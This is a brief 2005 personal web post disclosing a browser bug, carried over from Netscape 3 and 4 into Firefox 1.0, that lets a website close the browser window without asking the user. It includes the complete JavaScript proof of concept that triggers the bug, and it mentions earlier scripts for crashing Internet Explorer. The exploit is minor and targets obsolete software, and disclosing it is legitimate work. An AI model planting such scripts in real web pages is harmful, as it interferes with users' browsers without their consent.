Firefox exploitWhen Netscape 3 was released in 1996 it contained a bug making it possible for a website to shut down the browser window without asking the user. The exact same bug existed in Netscape 4 when it was released. When I found about this bug many years ago I published it on my (Swedish) website JavaScript.nu (where I have also presented scripts to crash Explorer 4 and 5 with JavaScript). Now in 2005, 9 years after Netscape 3 was first released, I see that the exact same bug exists in Firefox 1.0 (which uses code from Netscape).
<SCRIPT LANGUAGE="javascript"> <!-- // Script to close browser - NN3, NN4, Firefox 1.0. // By Omid Rouhani at www.JavaScript.nu //Make current window "_top" window.top.open("","_top"); //User will not be asked before closing window.top.close(); //--> </SCRIPT> |